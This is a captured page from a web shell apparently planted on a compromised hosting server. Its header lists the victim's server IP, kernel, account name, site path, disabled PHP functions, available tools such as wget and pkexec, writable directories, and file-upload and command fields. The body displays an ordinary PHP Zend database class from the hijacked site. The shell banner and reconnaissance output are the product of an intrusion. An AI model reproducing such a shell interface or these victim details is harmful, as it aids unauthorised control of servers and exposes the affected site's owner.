403Webshell
Server IP : 104.21.17.213  /  Your IP : 216.73.217.141
Web Server : Apache
System : Linux hosting01.arsenalhost.com 4.18.0-425.13.1.lve.el8.x86_64 #1 SMP Mon Feb 27 15:23:24 EST 2023 x86_64
User : corbizre ( 1013)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/corbizre/gotofindhomes.com/components/System/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/corbizre/gotofindhomes.com/components/System/Database.php
<?php
/**
 * Documentation
 * @author
 * @category
 * @package
 * @subpackage
 * @copyright  Copyright (c) 2005-2009 ITCrimea Ukraine Inc. (http://www.itcrimea.com)
 * @license
 */
class System_Database extends System
{
	/**
     * Documentation
     *
     * @var Zend_Db
     */
    protected $_db = null;
	    
	/**
     * Documentation
     *
     * @var System_Database
     */
    protected static $_instance = null;

    /**
    * Конструктор
    * @author
    * @return System_Database
    */
    public function __construct()
    {
        parent::__construct();
    }

    /**
    * Documentation
    * @author
    * @return Zend_Db
    */
    public function _getDB()
    {
    	if ($this->_db === NULL){
    		throw new Zend_Exception('Method init should be called');
    	}
    	return $this->_db;
    }

    /**
    * Возвращает ссылку на статический инстанс Zend_Db
    * @author [email protected]
    * @return Zend_Db
    */
    public static function getDB()
    {
		return self::getInstance()->_getDB();
    }

    /**
    * Documentation
    * @author
    * @return void
    */
    public function _init()
    {
    	$this->_db = Zend_Db::factory($this->_config->local->adapter,
        							  $this->_config->local->params/*->toArray() +
        							  array('driver_options' => array(PDO::MYSQL_ATTR_INIT_COMMAND => 'SET NAMES utf8;'))*/
        							  );
        $this->_db->getConnection();
        //$this->_db->query('ALTER DATABASE `'.$this->_config->local->params->dbname.'` DEFAULT CHARACTER SET utf8 COLLATE utf8_general_ci');
        $this->_db->query('SET NAMES utf8');
        //$this->_db->query('SET CHARACTER SET utf8');
        
        if (System_Application::getInstance()->getDebugMode()){
            $objectDbProfiler = new Zend_Db_Profiler(true);
            $this->_db->setProfiler($objectDbProfiler);            
        }
    }

    /**
    * Documentation
    * @author
    * @return void
    */
    public function _run()
    {

    }

    /**
    * Documentation
    * @author
    * @return System_Database
    */
    public static function getInstance()
    {
        if (null === self::$_instance) {
            self::$_instance = new self();
        }
        return self::$_instance;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit